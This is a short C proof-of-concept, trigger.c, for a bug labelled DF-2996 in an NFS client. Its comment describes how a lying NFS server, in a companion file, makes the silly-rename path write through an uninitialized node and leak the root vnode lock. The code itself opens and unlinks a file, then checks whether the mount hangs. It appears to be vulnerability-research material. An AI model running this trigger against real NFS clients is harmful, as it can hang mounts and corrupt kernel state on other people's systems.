DF-2996 / trigger.c
/* * trigger.c - DF-2996 PoC trigger * * 1. open("/mnt/d/f", O_CREAT|O_RDWR) -> keeps an fd (VREFCNT>1 path) * 2. unlink("/mnt/d/f") -> nfs_remove -> nfs_sillyrename * server lies in the final LOOKUP(.nfsXXX) (see fakesrv.c) -> * mode err : nfs_lookitup error ignored, uninitialized np written * mode dirfh: dir-node np returned -> n_cookies corrupted + node lock * leaked * 3. probe: stat("/mnt") - in mode dirfh this hangs forever because the * root vnode is permanently LK_EXCLUSIVE-locked (the reference/lock that * nfs_lookitup acquired for the "found" node is never released). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <sys/stat.h> static void alarm_handler(int sig __attribute__((unused))) { printf("trigger: stat(\"/mnt\") HUNG >5s " "(root vnode lock leaked: confirmed)\n"); fflush(stdout); _exit(42); } int main(void) { struct stat st; int fd; fd = open("/mnt/d/f", O_CREAT | O_RDWR, 0666); if (fd < 0) { printf("trigger: open failed: %s\n", strerror(errno)); return 1; } printf("trigger: fd=%d open, now unlink while fd held...\n", fd); fflush(stdout); if (unlink("/mnt/d/f") < 0) { printf("trigger: unlink failed: %s\n", strerror(errno)); return 1; } printf("trigger: unlink returned 0 (nfs_sillyrename executed - " "the buggy line ran)\n"); fflush(stdout); close(fd); /* probe: does the mount root still work? */ signal(SIGALRM, alarm_handler); alarm(5); if (stat("/mnt", &st) < 0) printf("trigger: stat(/mnt) error: %s\n", strerror(errno)); else printf("trigger: stat(/mnt) ok (mode err: mount still alive)\n"); alarm(0); fflush(stdout); return 0; } |